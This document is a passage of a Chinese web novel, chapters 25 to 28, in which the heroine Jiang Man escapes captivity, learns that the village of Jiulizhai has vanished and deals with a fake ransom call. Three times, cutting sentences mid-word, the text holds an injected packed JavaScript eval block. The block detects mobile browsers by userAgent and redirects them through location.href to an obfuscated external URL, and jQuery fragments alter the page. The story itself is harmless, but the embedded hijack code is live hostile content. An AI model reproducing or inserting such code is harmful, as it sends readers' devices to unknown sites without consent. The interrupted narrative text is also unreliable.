男人的脸色很不好看,他知道,他要保持这个被反绑在铁架上的状态三天,没有食物,也没有水。 此为反省。 他十分不解,抬起头,却不敢发问。 “不明白吗?你能完成任务不是因为你优秀,而是因为你遇到的是她。也就是说,无论你今天有没有任务,你现在的处境,都不会变。” 女人淡淡地说完,背过身去,看向大门,低声自语,“我的东西,你倒是用得不错……姜满,你比我想象的,还要有趣。” 25. 第一座山(25) 姜满推开第二扇门,除了扑面而来的暖意,她还看见了暗沉的天光,是月光,此时天已经黑了。 她这才发现,刚刚那间暗室竟然在一辆冷链货车的集装箱里,这第二扇门,就是箱门。 这辆冷藏车看起来七成新,停在一片林子里,没有司机,周围也没有人。 四周静悄悄的,只有林子里的虫鸣声,林子长得都差不多,看不出这是在哪里,但应该是在山下。 真是麻烦。 姜满先以最快的速度离开了货车所在的地方,然后似是体力不支一般扶住了一棵树。 来了…… 这是每次使用掌门印的御水之力就会有的反应,可以称之为副作用,不知什么时候会出现,出现时,四肢无力,头晕目眩,大约持续一刻钟。 所以,她轻易不想使用这东西。 可她更不想待在刚刚那个地方,人家摆明了想让她知道些事,还说什么因为她这张脸…… 这一切当然可疑,费劲周折把她弄到那个地方,却只留一个智力武力都一般的男人在那儿,声称要问她长生之法,四周还一个看守不留,这便也罢了,绑人,尤其是玄人,竟然不知道清空她身上的东西,还让她挂着吊坠。 不过,越想让她知道,她就越不想知道。 “副作用”渐渐褪去,靠树坐着的姜满缓过劲来,她抬头看了看眼前的树,然后脱掉了鞋子,起身后退几步,一个助跑,攀上了树,灵巧地往高处爬去,只是她爬的弯弯绕绕,避开了一切可能会被她杀死的东西。 到了高处,她总算看清楚了一些,还好是她,换了寻常人,这林子长得差不多,山也是。 因为是她,所以看到了熟悉的东西——属于九黎寨的灵能。 想不到此刻离她最近的,竟然是九黎寨。 看来这次莫名其妙被捅一刀,也不是一无所获,至少知道了这个九黎寨,好像不是什么入流的角色。 事实上,九黎寨是什么角色,她并不在意,她在意的是被他们抢走的阿卓。 她从包里拿出手机,看了看时间,现在差不多是晚上八点半,日期没变,也就是距离她离开大爷大娘家到现在,才过去七个小时不到。 既然这一天还没过去,与九黎寨约定的那个时间也没有到,所以…… 她不禁捂住了心口。 这次恢复得有些过于快了,一般脏器受损,至少一夜的时间她才会醒来。 是因为破除之法的进度,还是因为什么人动了手脚? 姜满小心地下了树。 这些都不重要,来都来了,顺势而为,就悄悄去一趟九黎寨,或许能带走阿卓。 从高处看到的地方,永远都给人感觉很近,然而落地步行才能感觉到,那是来自于视觉的欺骗。 虽然姜满早有心理准备,但她真的很不喜欢走路。 她走两步停一停,用脚踝内侧交错敲打小腿,像是在缓解小腿酸胀,其实这只是她的一种习惯。 这习惯还是阿姐教…… 想到阿姐,姜满神色露出些许黯然,不过转瞬即逝,她又抬起头继续赶路,神色如常。 离目的地越来越近,她几乎已经感受到灵能了,但却没有看见一点房屋村落的影子,这有些奇怪,难不成有什么障眼法阵? 姜满赤着脚,小心地尽量让自己踩在湿泥和山石上,她走得很累,几乎一直踮着脚尖,这比平时走路更加折磨人,她也走得很慢,因为她不能摔倒,这里和去落洞村的山不一样,这地方人迹罕至,完全没有路。 不知走了多久,循着灵能,姜满驻足在半山腰的一处怪异的石洞前。 说是石洞,更像是石缝。 这洞口外观很是古怪,约有近十米之高,却极其细长狭窄,且不说人根本无法通过,这整个洞口都被一根细长高大的木桩塞满,但顶端,放着一颗白森森的头骨。 这木桩像是树的分枝,否则这么高的树,不可能这么细,可什么树的树枝这么长?木桩上有斑驳的血迹,混杂着防腐用的石灰,树皮上隐约可见些已然模糊的刻纹。 这是人头桩?不,寻常人头桩不过一米左右,而且通常是放置在鬼林中祭祀所用,不可能只有一根,更何况,这年头,不应该还有这种祭祀的存在。 姜满攀上旁边的山石,小心地爬到了头骨所在。 离得近了她才发现,这头骨不是人的,不知是哪种动物的,经过打磨,做成了人头骨的样子,而且…… 透过月光,姜满看到,这颗头骨的后面,整整齐齐,白花花的,有数不清的头骨,全部被放在了和挡住洞口那根一模一样的树桩顶端。 这里,恐怕就是九黎寨的“鬼林”。 而姜满之所以停在这儿,并且一定要上来看看,是因为,无论在落洞村的山上,还是刚刚的树上,她看到的灵能,全都在这里了。 这种能被她看见的灵能可以称之为“余烬”,是使用过术法后留下的痕迹,像大火烧过后残余的火星。 这儿不是九黎寨? 正当她满心疑虑之时,她察觉到,有人接近了。 不止是人,还有什么动物,有四蹄错落踩地的声音,很轻,不是什么大型野兽,这一人一兽正在往这里来。 “汪!汪……”狗叫声响起,由远及近。 姜满此刻趴在石洞旁的岩石上,双手指尖抠在石缝里,脚趾也蹬在嶙峋山石的凸起上,她回过头看着逐渐接近的一人一狗,还有手电筒的光在她身上晃来晃去。 是阿兹日拉,他带着他的狗正朝着姜满跑来。 “姜满!终于找到你了!”阿兹日拉满脸欣喜,手电筒照在姜满脸上的时候,他又转而为满脸担忧,“你没事吧!” 姜满眨了眨眼睛,看着阿兹日拉,不免有些吃惊。 她此刻的姿势活像个攀岩的猴子,身上又是湿气凝成的露水又是泥,脸上还有胡乱擦过的血迹,衣服上也是先前心口挨刀留下的早已干涸的血,还有破洞,现在的她看起来,可谓是狼狈不堪,虽然她自己并不觉得。 阿兹日拉放下手电,伸出双手,大喊道:“姜满,你跳下来,别怕!我接得住你!” 姜满没有接话,在高处打量着他,然后大声问道:“你怎么找到这儿来的?” 这地方离落洞村并不算近,他一人一狗找过来,不能说不可疑。 这个程书韫找来的翻译,此刻看起来,除了身上没血没伤,其他的甚至还不如姜满,一看便知,是翻山越岭来的。 “你先下来!这地方危险滴很!我接着你!莫怕!放心!我力气很大!”阿兹日拉很着急,一边喊着,一边看向姜满,双臂保持张开,膝盖微屈,脚下踱着碎步,试图调整出能接住她的最佳位置。 姜满闭了闭眼,顺着山石缓缓往下。 上山容易下山难,越陡越难,加上姜满还要防止踩着什么虫子,植物倒好说,正常也踩不死,但也要尽量注意,所以她的动作极其缓慢,不过姜满也不着急,她体力有的是,只是不喜欢动罢了,慢一点反而好,毕竟,她是会累的,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807279|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是恢复力异于常人。 阿兹日拉在下面急得像热锅上的蚂蚁,嘴里一直嚷嚷着让她小心,又怕太大声吓到她,脚步一直没停,生怕她掉下来。 他的狗儿似是感受到主人的焦急,跟着来回转圈,而后大约是要证明自己的本事,朝着姜满吠叫起来,像是在催促她快点。 狗叫声惊得几只叫不上名字的鸟儿从枝头掠起,深山宁静的夜也随之泛起阵阵涟漪,微风拂过,草枝晃动。 姜满终于落了地。 她打断了阿兹日拉的嘘寒问暖,直奔主题,问他是怎么找到这儿来的。 阿兹日拉把自己的褂子披在了姜满身上,指了指狗,把他一路过来的经历说了一遍,狗儿也仰起脑袋看着姜满,好像在炫耀它的功劳。 原来众人发现姜满失踪且在山上留下一摊血迹之后,阿兹日拉担心她滚下山去了,于是一路带着狗从落洞村山头一直往后山去,翻过山后,他看到一辆可疑的货车。 这地方这么漂亮的货车可不常见,阿兹日拉从山里绕路想要堵截,不知追了多久,天都黑了,他却发现本应该行驶在路上的货车消失了,这儿能供车子行驶的路并不多,他是山里人,对这一带熟悉得很,于是靠狗循着汽油味,终于在一个荒僻的林子里找到了车,车上没人,他正要打开货箱查看,狗却跑了,他便追着狗,发现了姜满的鞋子。 说着,他把自己捡到的鞋子还给了姜满,但姜满并没有穿,只是拎在手里。 再然后,他就跟着狗找到了姜满。 他的狗是一只草黄色狼狗,背上有一层毛色灰黑其他毛发都是黄色,立耳,长尖嘴,黑鼻嘴,嗅觉灵敏,是村里出了名的好狗,这一次又立了功。 听他说完来龙去脉,姜满点点头,表达了谢意,然后指向旁边这怪异的人头桩,问道:“这是什么地方?” 阿兹日拉这才注意到旁边的石缝,他后退两步,仔细看了看这周围的山景,然后摇了摇头,“不知道,从未见过。” 姜满微微蹙眉,不解道:“你没来过这儿?你刚刚不是还说,这些山头你从小就玩遍了,闭着眼睛都能认得路吗?” 她显然并不知道,大部分男人会在自己喜欢的姑娘面前,刻意夸大自己的某些本领,这是一种类似雄鸟在心仪的雌鸟面前跳舞的求偶本能。 “这、这里以前肯定不是这样的。”阿兹日拉仿佛想补上被戳穿的面子,解释着。 姜满没说话,看着这近十米的人头桩,上面的灵能像是这两天的,已经越来越淡了。 半晌,她问:“你知道九黎寨在哪儿吗?” 阿兹日拉愣了愣,“九黎寨?你怎么会知道九黎寨?那地方连地图上都找不到。” 新的地图上的确没有,但天一道藏书中的老地图里有。 “听朋友提到过,有些好奇。”姜满随口胡诌。 “原来如此。”阿兹日拉点点头,然后面带惋惜,“那你们来晚了,我告诉你你可别被吓到。我们村里有个货郎,昨天正好要按照老规矩去给九黎寨送东西,却失魂落魄地带着原封不动的货回来了,他说,九黎寨消失了,凭空消失!所有的人还有房子,全没了,一点痕迹都没留!像从来没存在过一样!古怪吧?这山里怪事多,我劝你们这些城里来旅游的也别乱好奇——” “你说什么?九黎寨怎么了?”姜满打断了他,脸色有些难看。 阿兹日拉见状,不知所措道:“我、我说……不对不对,是我们村的货郎说,九黎寨……消失了,有、什么问题吗?” 26. 第一座山(26) 九黎寨消失了,像从来没存在过一样,那阿卓呢? 姜满有些头晕目眩,伸手扶住了旁边的石壁,她感觉自己好像遗漏了什么,同时,她的脑子又很乱,心中涌起一股莫名的烦躁,纠缠在心头燃烧,让她感到胸闷缺氧。 不知什么时候,阿兹日拉的狗竖起耳朵,警觉地朝远处低吼,但却并没有引起阿兹日拉的注意。 他见姜满脸色不佳,好像还有些站不稳,和她说话也没什么反应,随即俯身打横就将她抱了起来。 阿兹日拉是落洞村唯一一个走出大山却又回来的人,他读过书,懂得男女授受不亲,但他此刻只知道,眼前这个城里来的女孩,不知经历了什么,独自一人在山里这么久,一定怕极了,可她还装作若无其事,多么倔强勇敢又可爱的姑娘,刚刚听他说了九黎寨的事,恐怕已经吓坏了,此刻再也装不下去了。 她需要他,他必须保护她。 这当然只是阿兹日拉单方面的臆想,被他抱起来的姜满正打算挣脱,却听见了熟悉的声音。 “……大长老!真的是你!太好了!终于找到你——” 张云汉的声音在看清情况后,戛然而止。 狗也不吼了,它摇起尾巴,显然是认得来人。 姜满失踪后,找她的人不止是阿兹日拉,还有张云汉和薄临,可这二人也没想到,竟然有人比他们先找到,而且…… 张云汉忍不住看向薄临,以他作为男人的直觉,他在薄临一向温和平静的脸上,看到了危险的眼神,虽然是转瞬即逝,但他确信,自己看到了。 姜满皱着眉挣脱了阿兹日拉,站定之后,深深看了薄临一眼,而后一言不发原路返回。 她要去那辆货车上,找那个男人问清楚,她想起了他那句没头没尾的话——何况哪儿还有什么…… 如果那个货郎,以及阿兹日拉说的是真的,那这男人没说完的,应该就是九黎寨,“何况哪儿还有什么九黎寨。” 这件事肯定和这伙人脱不了关系,管他是重玄还是轻玄,她必须找到阿卓。 三个男人也跟了上去,但姜满仿佛带了一身煞气,三人不由地都落后了些。 张云汉走到阿兹日拉身旁,问道:“她这是怎么了?” 阿兹日拉叹了口气,“吓到了,怪我,给她说了个不好的故事。” 薄临隔着张云汉看向阿兹日拉,却没说话。 张云汉却有些不相信的接着问:“故事?吓到?不可能吧……”他站在中间,看看右边的薄临,又看向左边的阿兹日拉,“什么故事?” 阿兹日拉把刚刚的经过说了一遍。 “九黎寨消失了?”张云汉惊愕不已。 薄临却显得很平静,他看向姜满的背影,轻声自语,“原来如此。” “啊?什么意思?”张云汉听到了薄临的自语声,转过头来,一脸不解。 薄临笑了笑,解释道:“恩人在怪我乱出主意。”大概是觉得张云汉不理解,于是他紧跟着补充道:“是我建议她让更多人知道她的身份的,也许因此才有那条视频。” 有阿兹日拉在,薄临并未明说玄人二字。 “你说什么?是你建议的?你这家伙怎么……”瞎捣乱呢? 张云汉深谙拿人手短之道,话到嘴边,没说出来。 他并不笨,自然想得到,九黎寨如果真的凭空消失,肯定是什么玄人干的,这也就意味着,是因为大长老逼李妆娇发的那个视频,让某些玄人门派注意到了九黎寨,为了某种目的,然后……可哪个门派这么大本事?凭空消失?人可以带走,但连房屋建筑都给一锅端了,未免离谱。 难怪大长老谁也不理,好像很生气的样子,这是白来这一趟了,不过……那个灵到底和大长老是什么关系?来自西疆的灵…… 张云汉心里很好奇,其实对于姜满的来历,他和天一道其他弟子一样,只知传闻,不知真相,毕竟掌门也嘱咐过他,不要深究她的事。 院里关于大长老的传闻,什么都有,有说她是妖怪成精,但帮助过天一道;有说她名为大长老实则是天一道镇派神兽;有说她其实是吃人恶鬼,天一道将她收服后试图感化中……总之没一个靠谱的。 但他倒是在离开天一道那天,听到了大长老好像是从监狱里被接出来的…… 姜满这一路和来时一样,走得很慢,踮着脚尖小心地走,身后跟着的几人就走得更慢。 此刻她早已冷静下来了,她知道着急没用,也知道那辆车有极大的可能已经不在原地了,这件事没有表面看起来那么简单。 对方做事,总要有个理由,什么理由需要让九黎寨人间蒸发? 她仔细回想着下山之后发生的一切,从薄临被阿卓附体撞上她的车,再到医院那个偷听她和张云汉说话的鬼祟身影,后来在社交软件上认识了程书韫,然后阴差阳错解决了她破除诅咒的关键点,再是到了麓川拿到五方镜和布袋子…… 对方若想把每一步都串联起来,提前算计好一切,根本不可能,何况,对方到底想算计什么呢? [空]是她最深的秘密,她从未告诉过任何人,就连张信德都不知道,他不过知晓她因为某些原因,必须学会超度,或者找到一个非常擅长超度的人。 这世上,没有人知道[空]的秘密,除非,那个人也有[空]的诅咒,是她灰雾梦境里的某个“人”。 可即便如此,对方也不可能猜到她怎么想的,又会怎么做,这个答案是绝对的,因为连她自己都不确定自己会怎么做,所有的决定都是审时度势,再顺势而为,难不成对方是她肚子里的蛔虫吗? 到底是谁,又到底,为了什么? 姜满停住脚步,看着眼前这片只留车辙印的空林。 人果然走了。 她回过头看向张云汉,“你们怎么来的?” 张云汉眨眨眼,指向车印离去的方向,“村里借了一辆摩托车。”说着,他走近姜满,“李妆娇精神问题太严重了,程书韫陪她去医院,把我们车开走了,然后……” 他压低声音,不想让阿兹日拉听到,“最开始可是薄临有事要找你,我们才发现你不见了的,也是薄临猜测你可能被九黎寨带走,我们才找到这儿的,大长老,九黎寨的事也不是薄临的错,人家对我们可真是没话说,而且……我知道,这山里小伙的确是有他的魅力,也很有新鲜感,但是您要是对这小伙没那个意思,还是早点划清界限,别让人伤心。” 姜满看看他,不觉有些好笑,却并未接他的话,“现在,我们四个人一只狗,只有一辆摩托车,怎么回去?” “回去?”张云汉有些疑惑,“回檀州市?” 姜满又有一种遇到蠢货的烦躁感,但她没有发作,压下性子解释道:“九黎寨的事,要找那个货郎问清楚,我们回落洞村。” 她往车辙离去的方向走了两步,忍不住又回头看向张云汉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他虽然坐在姜满的后面,却和她保持着一定的距离,以至于让她不由地担心,一个不稳,他就摔下去了,到时候,又要算在她头上…… “往前坐点,别颠下去了,抱着我。” 薄临微微一愣,身体没动,手却扶住了她的腰,“是我拖累恩人了,你应该选张云汉一起先走,我可以在这里等的,为什么先带我走?” “你不是有事要找我的吗?什么事?说吧。” 薄临垂下眼帘,“嗯,你觉得……程书韫这个人,怎么样?” 天色太暗,姜满聚精会神地看着车灯照出的路,有些没耐心地回道:“有话直说。” “她……向我借了很多钱。” 姜满眉头微蹙,“向你借钱?” “嗯,她好像很缺钱,你知道吗?” 姜满只知道程书韫在挣钱,却不知道程书韫缺钱到需要向薄临借的程度,当初在网上找到这个“明人不放暗屁”,就是因为程书韫在做生意,只有玄人能做的生意,所以她才会约见这个网友。她也很清楚,这种生意,虽没有明文规定,但却是玄人界心照不宣禁止的。 不过,她对这些并不感兴趣,所以没有去深究过。 “所以呢?” “以我的经验来看,她不像是需要一笔钱这么简单,你知道,极度缺钱的人,通常……”薄临没有说下去。 姜满又瞥了他一眼,“你想说,她被人收买了?” 27. 第一座山(27) 四十多年前姜满就知道,在这个世界,利益是最能让人性趋于丑恶的,如果不能,那只可能是利益不够大,不够诱人。 但是趋于丑恶的程度,也得看原先的底色是什么,显然,程书韫和张云汉属于同类人。 薄临没有继续程书韫是否可能被收买的问题,他说:“李妆娇在昏迷前对我说,有高人入了她的梦,她说你要完了,我很担心你。” 原来如此,入梦吗? 姜满聚精会神地看着前面的路,车速大约三四十码,“既然你知道是李妆娇,为什么还怀疑程书韫?” “我不确定李妆娇说这些话的时候,精神是否正常,毕竟,入梦对我来说……实在有些离奇。”他的回答一如既往的合理,接着,他的目光落在姜满的衣服上,“但现在我最关心的是,你的身体真的没事吗?那么多血,你应该受伤很严重吧?他们为什么伤你?他们,又是谁?” 薄临心里期待姜满告诉她一些什么,他想要获得她的信任。 姜满却勾起嘴角,“你不是很聪明吗?这种问题还需要问?” 薄临笑得有些苦涩,“恩人还在怪我。” “怪你?我不做没用的事,该来的总会来,等我回落洞村确定九黎寨的情况,然后我们就回檀州市,到时候你也别再跟着我了,安安稳稳过你的日子,再跟下去,我很难保证你的安全。” 薄临笑了笑,目光再次落在姜满身上,那件属于阿兹日拉的褂子,“恩人是觉得我是累赘——” 他话音未落,姜满双手猛地用力握起,刹住了车。 前面路上横着一条蛇,不知是死是活。 车速虽然不快,但突然刹车带来的惯性还是让薄临下意识单手搂紧了姜满。 薄临的眼神从那条蛇的身上移开,而后松开了手,轻声问道:“恩人,你没事吧?” 姜满回过头看了他一眼,目光掠过他的肩伤,“管好你自己。” 她转而看向前面那条蛇,心里在想要怎么过去,这蛇要是死了也就罢了,要是活的过会儿应该也会走,就怕半死不活,她又不能动手,万一给它弄死了。 身后的薄临却下了车,他的目光落在了姜满穿着的那件阿兹日拉的褂子上,“能不能借你的这件衣服一用?” 姜满低头看看,“不是我的。”她的衣服破了,因为那把刺穿她心脏的刀,破的地方在胸口,她即便心再大,也知道,这个位置是需要衣服遮挡的。 薄临点点头,“嗯,我知道,我会给阿兹日拉足够的补偿。” 姜满想了想,自己不能动手,只能让薄临动手,但是他要是被咬了,再死在这儿…… 她脱下那件无袖的黑色布褂子,用手捂住自己身上的破洞,把褂子递给了薄临,薄临接过衣服,朝那条蛇走去。 这是一条毒蛇,蛇身棕褐色,有深色纵纹,三角形蛇首。 薄临用衣服包住手,伸手捏住了它的七寸,然后起身将它丢进了旁边的草丛中,也丢了手里的衣服,接着回过头来看向姜满,“你看,我也不是完全没用,而且,是我要跟着你的,我的安全,不必你负责。” “等回檀州再说吧,你先上车。”姜满无意在这里和他纠结回檀州后才会发生的事。 薄临走了过来,重新坐上车,把自己的夹克外套脱了下来,披在姜满身上,手却在看见她右肩那个印记的时候顿住了,“这个图案……” 姜满意识到他看见了她右肩的那个东西,程书韫形容过的,黄色的,像弯曲拉长的水滴,“怎么了?你见过?” “嗯……很像,但我不确定。” “是什么?” “有一个地方,算是私人会所,叫‘碧虚’,logo是一朵十丈珠帘,这是一种菊花,学名叫——” 姜满打断了他,“我知道,你接着说。” “嗯,你知道这种花花瓣多而且密,层层叠叠,数量远超于寻常花朵,外层花瓣垂落如丝,花开如瀑,但让我印象深刻的是,那里的工作人员衣服上,心口的位置都绣着那种花瓣,只一瓣,细长的,且就像那朵花一样,工作位置越是无关紧要的,花瓣就像外层垂下来的,越长越细,中心的,比如与我们洽谈合作的工作人员,绣的就是接近花朵内层的,稍宽稍圆。” 姜满的手放在车把手上,脚踩在地上,一直没发动车子。 “你是说,我肩上这个东西,像你说的那家会所的花瓣?” “是,而且,按照我刚刚所说的分布来看,你这一瓣,于其地位来讲,不低。” 姜满没说话。 也就是说,这个出现在她右肩的东西,是一种花瓣,代表着某个组织地位的印记,所以……那对拦路夫妻,也是这个组织的人吗?就是那个女人把手放在她肩膀上,才出现的这东西。也许,把她绑在冷链货车上的人,也和这个组织脱不了关系。 “那个会所在哪儿?” “就在檀州市,我可以带你去。” 姜满点点头,车子发动,继续在崎岖的山路上行驶。 薄临问:“你身上是怎么会有这个的?一直都有吗?” “不知道。”姜满随口回答,她不打算和他多说什么。 薄临沉默片刻,带着淡淡的笑意,轻声说:“其实,你不需要什么都自己一个人想办法,说出来,也许我能帮你。” “你帮我?像让九黎寨消失那样?” 薄临笑了,“你才说你不做没用的事,可你还在怪我。” “让你帮我,就是没用的事。”姜满想也不想的回道。 “我想弥补,所以想知道更多,比如,之前附在我身上的‘它’,曾经是你什么人?又有多少人知道你和他的关系?你为什么一定要找回它?” “不必。” 姜满不想再和他闲扯,她只想安安静静赶紧回到落洞村,好做下一步打算。 薄临也没再开口,不止是因为他“识趣”,更因为,他比任何人都了解她。 一路无话,二人趁着夜色回到了落洞村。 这一路姜满已经理清了思绪,对方那么大手笔,让九黎寨人间蒸发,但她在那个地方没有发现一个灵,也就是说,要么,全部被除掉了,要么被带走了,可这件事摆明是冲着她来的,所以两种可能,一:对方已经调查清楚,九黎寨带走的阿卓对姜满很重要,所以故布迷阵,又留下什么“仲玄王母”、“万岁真仙”还有右肩印记的线索,让她找上门去;二:对方不在乎这些,阿卓也已经不在了,魂飞魄散,或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822641|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者,被超度了。 第一种情况,他们必定会保住阿卓,所以不必着急,第二种情况…… 姜满不喜欢报仇这两个字,但是,不喜欢不代表不会做,过去的她在面对这两个字时需要面对成[空]的代价,但现在,她有了五方镜和布袋子,也许会麻烦一点,但也只是麻烦一点而已。 何况,她不愿成[空],并不只是惧怕忘记自己,她最怕的,是忘记家人,如果她的家人阿卓都不在了…… 所以,她至少需要十分熟悉获取与储存记忆的办法,这样,每条路都会好走很多。 接回阿兹日拉和张云汉的时候,已经是夜里十点多了,山里人睡的早,落洞村愈发寂静,好在那个货郎借出了拉货的小三轮,便一直等着他吃饭的家伙回来,便没睡。 问清楚九黎寨的情况,由作为翻译的阿兹日拉说出来,与姜满了解到的大致相同,无非多了些货郎本人对此事的感受。 三人打算好,明天早上乘坐山那边的一辆中巴先去县城,再找车去市里与程书韫会和。 这山中信号很弱,等同于没有,不能上网,电话也几乎打不通,但山那边有一条大路,是附近几个村子里的人外出的唯一方式,每天早晚六点发车,也只有这两班车,通往县城。 阿兹日拉虽然惋惜姜满的离去,但他却并没有一同离开的意思,第二天一大早,他骑着那辆货郎的三轮摩的,将姜满三人送到了车站。 分别之际,薄临又取出了钱算是给货郎的车费和给阿兹日拉的劳务费,却被阿兹日拉做主婉拒,他认为他们给的钱已经够多了,何况村里人几乎用不到什么钱。 车上人不多,山里的年轻人越来越少,像落洞村这样偏僻的,整个村子除了阿兹日拉,几乎没有年轻人了,年纪大的也很少有外出需求,所以姜满三人坐的很宽松。 姜满闭目养神,她对这一趟麓川之行跑空并不感到失望,毕竟对她而言,不算一无所获,虽然阿卓的下落令人担忧,但她的确不喜欢做没用的事,担忧就是没用的事。 现在她要去解决李妆娇身上的那个怨灵,这件事拖得也够久了。 按照薄临和张云汉原先的计划,李妆娇会被送到麓川医院,至少保证她暂时不会醒过来继续面对“双腿被截断”的痛苦,会由程书韫联系薄临的人,等人到了麓川,程书韫再与其交接,开车回落洞村接回姜满三人。 现在倒是不用那么麻烦了,程书韫此刻应该已经在医院陪着李妆娇了。 等到中巴车行驶到有信号的路段,一直盯着手机的张云汉,拨通了程书韫的电话。 “喂?书韫妹妹,我是张云汉,我们已经坐车离开落洞村了,你不必来接我们了,你现在——” 张云汉戛然而止的话音引起了姜满和薄临的注意。 片刻之后,张云汉挂断电话,神色慌张,看向姜满,“她、她们出事了!” 姜满眉头微蹙,“你把话说清楚。” 张云汉咽咽口水,“接电话的是个男人,他说:想要人,准备五百万,去麓川市北湖区中央商场,等电话……大长老,我们要不要报警啊……” 姜满闻言,目光不自觉与薄临的视线撞到一起,二人相视一眼,像是心照不宣,都没说话。 28. 第一座山(28) 绑架勒索这种事姜满是可以不管的,无论是程书韫自导自演还是她和李妆娇真的被绑,这都和姜满没什么关系,但显然,张云汉不可能不管,而她也不能不管张云汉。 而且,此事怎么看,都透露着古怪。 对方绑人,却不联系程书韫或李妆娇的家人,倒向打电话过去的张云汉开口要钱,即便是程书韫自导自演,也未免蠢过头了,何况,缺钱的也不止是程书韫,不久前这个突然冒出来的李妆娇,不就是为了要一笔巨款才来找薄临的吗?可姜满觉得,且不提李妆娇是不是还在那个断腿幻觉中,只要不是脑子有问题,都不会这么去要钱。 中巴车到了县城,为了尽快抵达麓川市,三人吃了点东西,坐上了一辆出租车。 姜满的意思是先去那个中央商场看看,他们三个都改一下装扮,为免打草惊蛇,不取钱,也不报警,见机行事。 中午十一点四十,三人进入了中央商场,由姜满挑选薄临刷卡,一番扫街购物后,三人提着大包小包进了厕所,不一会儿,焕然一新的三人走了出来。 张云汉一身正装,西装领带,看起来……像个卖保险的;薄临穿着休闲的短袖T恤,运动裤,头上戴了顶棒球帽遮住了额头的伤口,显得更年轻了;姜满则穿上衬衫格子短裙,扎着马尾,背着双肩包,从“大学生”变成了“高中生”。 姜满看了看张云汉点点头,还算满意,再看向薄临时,微微蹙眉。 这张脸实在是有些惹人注意,戴着帽子也很显眼。 她的目光在商场的店铺间扫视,很快找到了目标,却不料薄临先把她拉进了一家卖饰品的店铺,拿起店门口货架上的一个小小的毛绒玩偶。 “你的背包上应该挂上这个,小孩子都喜欢,我看,它很适合你。” 姜满看向他递过来的毛绒玩偶,灰皮白嘴,不知道是什么东西,耳朵大大的。 “适合我?” “是啊,就算做是我送你的礼物。”薄临拿着玩偶去买了单,然后挂在了姜满的包上。 张云汉歪过身子看了看,“这是……驴啊?” 薄临看向张云汉,笑了笑,没说话。 姜满并没在意,带着薄临来到了刚刚她准备带他去的地方,一家眼镜店,然后选了一副金丝框的眼镜,递给他,“这是我送你的礼物,戴上吧,很适合你。” 薄临没有拒绝,把眼镜架在鼻梁上,看向姜满,“适合我吗?” 姜满点点头,一本正经道:“适合,更斯文了,符合你的人设。” “我的……人设?”薄临愣了愣,而后轻笑起来。 一旁的张云汉照了照柜台上的镜子,又看了看薄临,暗自嘀咕,“都是戴眼镜,怎么差别这么大……” 改装完毕,姜满看向张云汉,“有电话来吗?” 张云汉拿出手机,这才发现有几个未接来电,都是程书韫打来的,于是赶紧回拨过去。 这通电话张云汉的表情变化非常丰富,除了开头他主动开口询问情况,到对方说话的时候,他一共回了三个字:啊?哦!好。表情从惊讶到恍然大悟,再到面带微笑,最后恢复平静。 “闹了个乌龙,那通勒索电话是一个精神病接的。事情是这样的,书韫在李妆娇病房陪了一夜,待得太闷就打算出门散散步,然后在病房外的花园遇到一个病人,那人跟她借了电话,说有要紧事要打给家里人,但医生不同意,他求了书韫半天,书韫耐不住,心软借给了他,他拿着电话走远了些,正巧了,我们的电话这个时候打过去了,于是那个病人就对我们胡说八道了一通——” 姜满有些无语地打断了他,“不是‘我们’,是你。” 张云汉缩缩脑袋,接着说道:“那病人的声音太正经,而且,我也没想到李妆娇被住进精神科了……然后那病人把手机还给书韫,书韫也没在意,后来想看看薄临安排的那个人有没有下飞机,翻电话记录找号码的时候,才发现了我们打、我打过去的已接电话,于是担心错过了什么急事,才打了好几个电话给我。” 姜满没再说话,往扶梯口走去,她打算上楼到美食区吃点东西,薄临和张云汉也跟了上去。 三人走进一家人不多的火锅店,这个点正好是吃饭时间,人不多的店,要么难吃,要么性价比很低,好在姜满对吃一向不讲究。 菜很快上齐,肉放进滚锅里,薄临吃得一贯的优雅,火锅也不例外,而几天没吃好的张云汉已经大快朵颐起来。 几人吃了一会儿,姜满夹起一块肉放进嘴里,像是随口问道:“你为什么喜欢程书韫?” 塞了满嘴肉的张云汉闻言一愣,艰难吞咽着,面上有些不好意思,口齿不清道:“大长老,喜欢一个人哪有为什么……” 姜满点点头,“嗯,我记得,你说她是张云霆的表妹?” 张云汉清空了嘴巴里的食物,脸还红着,“大长老怎么突然对书韫的事有兴趣了?” “没什么,你就当是帮你把把关。” 张云汉心头涌起一阵暖意,颇为感动地抽了两张纸擦擦手,然后端起茶杯面向姜满,“大长老,我以茶代酒敬您,一为曾经对您的偏见赔礼,二为您这一路对我的照顾感激,往后与您携手,愿我们尽早找到掌门!” 除了真心的感激与致歉,他认为,这是一个合适的时机,提醒一下姜满,此次离开紫微山的目的,是找掌门。 可姜满却并没搭理他,放下筷子,看向薄临,“你想上厕所吧,我也是,我们一起。” 薄临用纸巾擦了擦嘴,点头起身,“好。” 